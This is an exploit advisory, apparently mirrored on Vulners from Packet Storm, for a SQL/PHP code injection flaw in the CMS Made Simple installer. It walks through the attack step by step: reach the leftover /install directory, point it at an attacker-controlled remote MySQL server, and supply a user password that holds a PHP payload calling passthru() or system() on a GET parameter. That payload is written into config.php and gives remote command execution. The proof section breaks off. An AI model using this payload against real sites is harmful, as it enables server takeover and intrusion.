Lucene search
+L

CMS Made Simple Install SQL Injection Command Execution

🗓️ 07 Dec 2014 00:00:00Reported by SAHMType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

CMS Made Simple Install SQL Injection Vulnerability in All Version

Code
`# CMS Made Simple PHP Code Injection Vulnerability (All versions)  
# 2014-12-02  
# SAHM (@post.com)  
# cmsmadesimple.org  
# All versions  
---exploit  
A malicious attacker can intrude every CMSMS-installed website by taking the following steps:  
Open the /install folder from the URL (The cms doesn't force users to delete the directory after finishing the installation progress).  
Ex: http://URL/PATH/install  
Pass through the steps to get to the fifth step.  
In a remote host, install a MySQL server and create the following user:  
user: test  
password : '.passthru($_GET['command']);exit;//  
Following that, Create a remotely accessible database and grant all privileges to the user (for further information please read : http://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html) .  
Fill in the Database Information form (bottom of the page).  
db host address: the remote host's IP  
user: test  
password: '.system($_GET['command']);exit;//  
database name: the name of the remote database which has been built  
After installation, commands can be injected as:  
http://URL/PATH?command=blah%20blah  
---prove  
At this point, the config.php file content would be something like this:  
<?php  
# CMS Made Simple Configuration File  
# Documentation: /doc/CMSMS_config_reference.pdf  
#  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Dec 2014 00:00Current
0.6Low risk
Vulners AI Score0.6
34